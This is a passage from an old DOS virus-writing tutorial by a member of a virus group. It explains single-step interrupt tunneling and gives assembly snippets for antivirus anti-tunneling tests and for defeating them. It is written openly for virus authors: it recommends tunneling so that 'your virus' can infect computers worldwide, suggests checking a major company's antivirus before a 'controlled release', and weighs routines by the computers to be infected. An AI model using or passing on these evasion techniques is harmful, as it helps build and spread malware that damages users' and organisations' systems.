- well cause a system crash. Instead of checking if the last instruction was a
- PUSHF, you can instead check if the current instruction is a PUSHF and set a
- flag in your INT 1 handler. On each entry to the handler, you can then check
- if the PUSHF flag is set, and if so, you clear it and modify the stack as
- before.
-
- Finally, even if you have made any flags test totally futile, you must add
- in code to make sure YOUR code can disable single step mode with a POPF! You
- can do this by simply checking your current CS: against the CS: of the
- currently executing instruction, on entry to the interrupt handler, and if
- there is a match, simply exit without checking for any opcodes, etc.
-
- ┌─────────────────────────┐
- │ Confusing OPCODE CHECKs │
- └─────────────────────────┘
- I mentioned earlier on that the OPCODE CHECK method of tunneling was
- easily confused by a good anti-tunneling routine. Although the bit of code
- I'll show you won't work against the other single step tunneling methods, it
- will work VERY well against the OPCODE CHECK method (which is, like I said,
- in wide use). Since the OPCODE CHECK method copies down the last
- intersegment jump as the original interrupt entrypoint, we simply make a few
- fake jumps.
-
- Do this in the setup of your code:
- mov [fake_jump_address], offset fake_jump_here
- mov [fake_jump_address+2], cs
- And do this to call the proper interrupt routine you're hooked to:
- pushf
- call far ptr [original_interrupt]
- ; Executes proper interrupt
- call far ptr [fake_jump_address]
- ; Make a fake call, destroying tunnelers
- retf 2 ; Exit
- fake_jump_address:
- retf
-
- ┌────────────────────────────┐
- │ De-confusing OPCODE CHECKs │
- └────────────────────────────┘
- Confusing OPCODE CHECKs can be done in many other ways on top of the one
- just described, and as such you shouldn't REALLY be using an OPCODE CHECK
- method anyway, since the CS:LIST method is much more stable :> Anyway,
- defending yourself against this specific peice of code needs you to check if
- you are doing an intersegment jump to the same code segment. If so, just
- ignore it and don't save the CS:IP value. Alternatively, if you were really
- picky you could modify your handler so as to save the address of a jump/call
- ONLY if it is below the last value saved.
-
- ┌────────────────────────────┐
- │ Removal with code swapping │
- └────────────────────────────┘
- A smart anti-tunneling routine will not rely on the flags to test for
- single step handlers. Instead, a smart anti-tunneling routine ALWAYS starts
- off in red alert mode, and only does detective work after trying to disable INT
- 1, just in case. A common way to do this, is shown in the code snippet below:
- xor ax, ax
- mov ds, ax
- lds si, [4] ; DS:SI points to start of INT 1
- les di, [4] ; ES:DI " "
- mov ah, 0cfh
- lodsb ; load first byte into AL
- xchg ah, al
- stosb ; store IRET as first byte of INT 1
- ... (flag tests etc go here) ...
- dec di
- xchg ah, al
- stosb ; restore original byte of INT 1
-
- By putting an IRET as the first byte of INT 1, the routine of INT 1 is
- totally bypassed allowing you to do all the flags tests, etc you want, without
- being hampered by anti-anti-tunneling code. However, in THIS specific example
- (there are many many ways of putting an IRET into INT 1) you must not modify
- AX, ES or DI, as they're needed when you replace the first byte of INT 1 on
- exit from your interrupt handler.
-
- ┌───────────────────────┐
- │ Fooling code swapping │
- └───────────────────────┘
- In times such as this, things start to get complicated inside our
- tunneling routines. Even though we can check each opcode before it is
- executed, it isn't much help in this case as there are so many different ways
- of putting a byte into our INT 1 handler. The only GENERIC way to defeat
- this method, is by checking for MOVS's and then seeing if a byte is being
- MOVS'd into our code segment, skipping the instruction (by modifying the
- return IP pointer in the stack). However, then you have to begin checking
- for STOS instructions too, etc. This, well, lets just say it could be done
- if you really tried hard, but they could use another idea like just
- completely installing another INT 1 handler over yours, or putting a byte
- into your INT 1 handler in an awkward way.
-
- ┌───────────────────────────────┐
- │ Detection with the STACK test │
- └───────────────────────────────┘
- Finally, we come along to the mother of all anti-tunneling tests, the
- stack test. This is the test where no single step tunneler ever comes out
- alive, and in a minute you will see why. And you thought fooling code
- swapping sounded hard! Have a peek at the code below:
- xor ax, ax
- push ax
- mov bp, sp
- pop ax
- cmp [ss:bp-2], ax
- je no_tunnel
- ...
-
- In case it isn't clear to you, this is what happens. Remember when we
- POP values from the stack, the values are normally still there, just 2 bytes
- below the SP (because to POP a value the CPU simply copies the SS:SP value to
- where it is wanted and increments SP by two). So, under normal CPU
- execution, the values we POP off of the stack are still there, totally
- intact, which is what the above routine checked for.
-
- However, when we go into single stepping mode, before every instruction
- is executed, an INT 1 is called, overwriting old stack values with the FLAGS,
- CS, and IP registers! So after the routine POP's its value back into AX,
- right away the old stack data is corrupted as our INT 1 is called.
-
- This is the bane of all single step tunnelers. You cannot even begin to
- imagine the complexity of an INT 1 handler that has to check for every one of
- the hundreds of ways of pushing and popping values from the stack. It is just
- way too complex, and coupled with the other tests I've shown you above, your
- once simple tunneling routine has turned into a huge fat bloated sack of
- spaghetti code! Luckily for you, we're not going to be bothered writing such
- a routine. I myself, at this point in time, don't even want to THINK about
- writing something so big when later on in our document series we'll have to
- rewrite the entire thing anyway.
-
- ┌───────────────────────┐
- │ Detection with INT(O) │
- └───────────────────────┘
- Here's a sick little test you'll want to check out for! Remember when I
- told you how the INT instruction works, with clearing the TF? Well, look at
- this code here :)
- xor ax, ax
- mov ds, ax
- push [(4*4)]
- push [(4*4)+2]
- mov [(4*4)], offset my_handler
- mov [(4*4)+2], cs
- pushf
- pop ax
- or ax, 0bh
- push ax
- popf
- into
- my_handler:
- mov bp, sp
- pop ax
- pop ax
- pop ax
-
- In this example, at the end of the code (which is 286+ code only mind
- you), AX will hold the REAL flags value, and the TF will be turned off in the
- current flags, no matter how much you fiddle with the flags. Why? Well, the
- INTO instruction executes an INT 4 if the flags register has the overflow
- set, which we did by directly modifying the flags. Before then, we set the
- INTO (INT 4) to ourselves via the IVT, and so, the INTO pushes the flags, CS,
- and IP, onto the stack. At the point of my_handler, the TF has been cleared
- due to the INT instruction, and the pop ax's end up with the value the flags
- are set to on return, which has the TF set :) Using this routine or
- something similar (like INT 3 or INT xx) needs you to save the original IVT
- value of the interrupt so you can restore it later, else the computer might
- well crash should a real instance of this interrupt be called.
-
- ┌─────────────────────────────┐
- │ Avoiding the INT(O) pitfall │
- └─────────────────────────────┘
- How do we avoid this? Simply check for the INT, INTO, and INT 3 opcodes
- in your handler, and if they are present, emulate the interrupt by pushing
- the flags (with TF clear), CS, and IP, onto the stack, and also check for the
- IRET instruction, at which time you make sure the TF is set :) Make sure you
- code this right, so when you push the flags, CS, and IP onto the stack, there
- is no other information on the stack such as the flags, CS and IP that were
- pushed as INT 1 was executed. Do this by popping all those values off the
- stack into temporary variables, pushing all your other stuff on, and then
- putting back your INT 1 flags, CS, and IP values, and finally exiting your
- INT 1 handler. I'm sure you'll work it out.
-
- ┌──────────────────────────┐
- │ Anti-Anti-Anti Tunneling │
- └──────────────────────────┘
- Okay, this is starting to get a bit out of hand, but it's the last thing
- we need to talk about :) Remember when I mentioned that segment overrides
- were taken as part of the current instruction? Well, segment overrides
- aren't the only types of instruction prefix available, as there is also REP,
- REPE, and a few others. Why am I mentioning this? Well, imagine writing
- your ulta-leet anti-pushf/popf code into one of your interrupt routines, and
- an AV happens to come up with a small anti-tunneling section of code looking
- like this:
- pushf
- cs:popf
-
- ARGH! All your precious hard work flushes down the toilet bowl as your
- interrupt handler doesn't recognize the POPF instruction hiding behind the
- instruction prefix! You have been disabled by the very code that turns off
- the TF when it see's a PUSHF! So, now what can you do? Luckily, the answer
- to this is simple. Siphon off all the instruction prefixes in a loop before
- you start checking for opcodes. Simple.
-
- ─────────────────────────────────────────────────────────────────────────────
- Section 5: Is single step mode still usefull?
- ─────────────────────────────────────────────────────────────────────────────
- By now, you may be wondering why anyone would want to use single mode now
- that there are so many ways to defeat it, and rightly so. However, you must
- look at the bigger picture of computer users and AV software. For starters,
- most computers these days use some form of virus protection, ranging from old
- behaviour blockers written in 1989 to the really good AV software which is up
- to date and has behaviour blockers built in. However, the usage of old
- software, and new software without anti-tunnel capabilities far outweighs the
- current level of AV software used that DOES provide anti-tunneling, and as
- such the choice is clear. If you are planning for your virus to infect lots
- of computers around the world, then it is much better using some tunneling
- method than none at all, as the pros far outweigh the cons. However, if
- you're planning for a controlled release into say, a major company, it would
- be best to do a bit of detective work to see if their computers are running
- appropriate AV software before including a single step mode tunneling module
- in your virus.
-
- ─────────────────────────────────────────────────────────────────────────────
- Section 6: Conclusion
- ─────────────────────────────────────────────────────────────────────────────
- Which single step tunneling method you'll use in your viruses is up to you,
- however the main things that will base your decision upon are:
- - the space requirements of your virus with the various tunneling routines
- - levels of compatability required in your virus
- - the types of computers you're planning to infect
- - the individual pros and cons of each routine
-
- There is also another thing that needs mentioning, each and every routine I
- have presented to you only returns to you the value it BELIEVES is the original
- interrupt entrypoint. Of course, all of these tunnelers can get confused and
- return an incorrect value, and using that value in your code without first
- doing some sort of error checking would be disasterous! However, as yet I do
- now know a failsafe way of doing this.
-
- Also, DESQView (a dos multitasking program) does NOT like programs trying
- to tunnel the interrupts when they are not the only programs running. This
- is probably because half way through your tunnel DESQView swaps a different
- program into memory to be executed and doesn't properly handle the TF. So
- suddenly, where your INT 1 handler once was, it is no more and the tunneling
- goes haywire totally crashing the computer. >sigh< I guess you're just
- going to have to start adding DESQView aware code:
- mov ax, 02b01h
- mov cx, 'DE'
- mov dx, 'SQ'
- int 021h
- cmp al, -1
- je no_desqview
- jmp run_from_desqview ; This should work with all versions
- ; of DESQView :)
-
- To round off this whole document, you should look at the example program
- included. It is just a quick something I whipped up to demonstrate how to
- put everything you've learnt so far together into a working program. It's
- not a virus :) It just tells you what the end result is of each tunneling
- module, so that you can compare performance. No anti-anti-tunneling code is
- included in it, because I can't be bothered after writing so much, but it is
- DESQView/DOS version aware :) It can be assembled into a .COM file with A86.
-
- So now you have finally shrugged off your previously innocent disguise as
- amoeba and progressed to the status level of marsupial, which is a BIG step!
- However, there is a long road left to travel in regards to tunneling methods
- before you reach the status level of tunneling god, so I suggest you grab the
- next document in this series. What's it about? Well, it's about tunneling
- via code scanning, which is somewhat like the OPCODE CHECK/CS:LIST methods,
- but without using INT 1 and without being able to be detected. Think about
- the implications of that for a little while :)
-
- Anyway, I hope you enjoyed reading this document as much as I got pissed
- off while writing it and debugging all the little sections of code :) Yer,
- this one was a real fucker!
-
- Methyl [Immortal Riot/Genesis]
-
-